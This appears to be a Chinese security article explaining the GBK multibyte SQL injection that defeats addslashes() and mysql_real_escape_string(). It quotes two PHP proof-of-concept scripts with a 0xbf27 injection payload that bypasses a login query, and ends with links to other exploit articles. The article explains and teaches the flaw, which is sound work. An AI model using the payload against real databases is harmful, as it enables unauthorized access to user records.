|
其实这东西国内少数黑客早已知道,只不过没有共享公布而已。有些人是不愿共享,宁愿烂在地里,另外的一些则是用来牟利。
该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时,0xbf27本身不是一个有效的GBK字符,但经过 addslashes() 转换后变为0xbf5c27,前面的0xbf5c是个有效的GBK字符,所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理,结果漏洞就触发了。
mysql_real_escape_string() 也存在相同的问题,只不过相比 addslashes() 它考虑到了用什么字符集来处理,因此可以用相应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。
方法一:
改变mysql配置文件my.cnf
[client]
default-character-set=GBK
方法二:
在建立连接时使用
CODE:
SET CHARACTER SET 'GBK'
例:mysql_query("SET CHARACTER SET 'gbk'", $c);
问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞
下面是来自http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码
| 以下是引用片段: <?php $c = mysql_connect("localhost", "user", "pass"); mysql_select_db("database", $c); // change our character set mysql_query("SET CHARACTER SET ’gbk’", $c); // create demo table mysql_query("CREATE TABLE users ( username VARCHAR(32) PRIMARY KEY, password VARCHAR(32) ) CHARACTER SET ’GBK’", $c); mysql_query("INSERT INTO users VALUES(’foo’,’bar’), (’baz’,’test’)", $c); // now the exploit code $_POST[’username’] = chr(0xbf) . chr(0x27) . ’ OR username = username /*’; $_POST[’password’] = ’anything’; // Proper escaping, we should be safe, right? $user = mysql_real_escape_string($_POST[’username’], $c); $passwd = mysql_real_escape_string($_POST[’password’], $c); $sql = "SELECT * FROM users WHERE username = ’{$user}’ AND password = ’{$passwd}’"; $res = mysql_query($sql, $c); echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records ?> |
| 以下是引用片段: <?php $c = mysql_connect("localhost", "user", "pass"); mysql_select_db("database", $c); // change our character set mysql_query("SET CHARACTER SET ’gbk’", $c); // create demo table mysql_query("CREATE TABLE users ( username VARCHAR(32) PRIMARY KEY, password VARCHAR(32) ) CHARACTER SET ’GBK’", $c); mysql_query("INSERT INTO users VALUES(’foo’,’bar’), (’baz’,’test’)", $c); // now the exploit code //$id1=mb_convert_encoding($_GET[’id’], ’utf-8’, ’gbk’); $id2=iconv(’gbk//IGNORE’, ’utf-8’, $_GET[’id’]); //$id3=iconv(’gbk’, ’utf-8’, $_GET[’id’]); $sql = "SELECT * FROM users WHERE username = ’{$id2}’ AND password = ’password’"; $res = mysql_query($sql, $c); echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records ?> |
后记,这里不光是%bf,其它许多字符也可以造成同样漏洞,大家可以自己做个测试的查下,这里有zwell文章提到的一个分析
| 新云CMS Online.asp页面过滤不严 | 02-26 |
| 对网软网上购物系统的漏洞分析 | 01-09 |
| 测试SQL防注入脚本 | 12-21 |
| Google Xss又出跨站新漏洞 | 11-06 |
| 一次简单的html injection导致的 | 11-06 |
| 风讯、科讯漏洞利用 | 11-01 |
| Adobe pdf reader URI利用方式浅 | 10-23 |
| 超星阅览器的最新0DAY | 10-19 |
| 运用SQL Injection做数据库渗透的 | 09-22 |
| sa-blog 0day | 09-22 |
| HTML注入的一些简单想法 | 09-10 |
| 网站登陆接口的攻与防 | 09-04 |